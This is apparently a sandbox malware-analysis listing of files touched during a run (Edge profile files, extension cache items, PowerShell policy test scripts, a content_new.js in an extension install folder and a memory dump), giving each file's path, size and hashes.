SHA512 1dd99fc97dbaa3ac19d3e6dd00072b9a30a7c374a4df7fa4934ba5599b7500f8eae4158f5a2c692f4752a85e3facee46a8ebe30f42e3c0023947775395c1c8dc
SSDEEP 768:wj+9E3hVzdw+LeSFOUntbAX4fouOToPvB2thtA9VAgAb9Mf:P9E3hVJ2snnwthttxb+f
TLSH
T186F2BF31A89A8E23DCD5D2A8720B76D66FF0517795C41FC8DADD5B0E0583BAD070BC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 12efa8ada01b385ed637f1686c1947712601f3b80d8f2efcae1bbaf55f7f7872
MD5 63f34f7c5f90b2a8bc03de968c268aef
SHA1 b30c29b536ac650eadcea3d089c6aa1f98dcc999
SHA512 d6e624f6d7512e0cbb301bce12bcaac7911097d96fc1516f4da3e86dc89bfc7a720614af18fa717ba753236d10edc34f93712ebafd5b9f3fbc3212bdba3666bf
SSDEEP 768:AF1j+9m3Pwgx/oYzLE1OUntb8X4fouOToPvB2thtA9VAgAb9Mf:N9m3flsCsnnwthttxb+f
TLSH
T1231339F298D78A37D89E8797633D6D859AFCC163B4845984BBC95E4DCC822BFC306805
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 d87f5de22dba13f06858e7fc279737b81cfc95def66b174364fe700c22e6701e
MD5 9768df5d47cefedcadaebeddf5bd54d5
SHA1 7f1163677cb10ecc02f49c1a27ecb52268c58c67
SHA512 0d89716d59b05c9c0765be58a15ece8e13ea4f8d213d268b58c428e063b1dfdb9fb69d993009b515c5be16c2b394802cbfb1114f5d23b6cfcbd456acee5c4555
SSDEEP 768:erv+4UNbd+3xQzK+LeSFOUntbrX4fouOToPvB2thtA9VAgAeVH1Sl1:ebsbA3xQBLsnnwthttxEH1i
TLSH
T1DB13BF32A8A98D23DCE6E2A4710B76832FF4516394D00FD4DADA5B4E0647ADE170FD1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 0a192307ed74970e0dc122d36595890ce7229cad028cb3b18ee774af1b68232e
MD5 5e28b0d6bf2e5f3abed913cd81387fbb
SHA1 e2bfd2c7c4f8faa20def4cd86e57286c61e62263
SHA512 33158191c787ee312f251e37e42362edb0588dbe7acefae0210bdc4216e1234d86fd6ab2f1510a865a06592793a9503e4adb956caf61bfd09d1e8920cfbccfcb
SSDEEP 768:grv+4UNbdH3we+LeSFOUnt4X4fouOToPvB2thtA9VAwCNeVH1SlX:gbsbh3bsnnwthtt5EH1Y
TLSH
T1F103CF32A8A88A33DCE6D398710BB5473FF4916395D40BC49DDD1B4E069B9DE030BC56
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9e4de06b-7822-41e3-b0ea-d27692890d23.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\9e4de06b-7822-41e3-b0ea-d27692890d23.tmp
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

a454e65e-3b41-49a7-ad97-ada77e7f937e.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\a454e65e-3b41-49a7-ad97-ada77e7f937e.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1dc014ae71bae56db839e125468e8d693a4b569e68debde951499621335b231b
MD5 5d8e0f70203fde6a1430f5b5c28e8cee
SHA1 cc3bc878e3c3418129061f50682478671a88039d
SHA512 ca7b18fff985b25b949a5af89dec6fea6ae7582ab2cb174e61d8cc5376bfa8501df6ffa535e37a93950d2b114395d18ba2575caeef7b09dc18da9e0ee5de17de
TLSH
T14F215773F3CD8615D899403A50CEAC1036B597DB40DECE5BAB84D549B43F599CEA05A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 aecd211ac8babc118c2a0785f00479871819bde6ba11e5b7891a04f259f1dbf3
MD5 7ba47ca5a1f6a75a78249daac0fec3c1
SHA1 24c21d40d9c268aa854afc7032efbf25c4f883c1
SHA512 763e8915135f01a3fbf91fe111e4af3bea0b55accf56260764b90f2cd4bd61ff8313b3b3665d098dae2c81fd5027ca11d40f719acaa3e7da4a28e2187e150b79
TLSH
T1EC218733F3CC8215D889403A50CEAC1032B187DB40DECE5BAB84D508B43F599CEA05A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ayonw4l0.115.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ayonw4l0.115.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1156_1118940518\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5480-2-0x000001A2CBD20000-0x000001A2CBD42000-memory.dmp

Download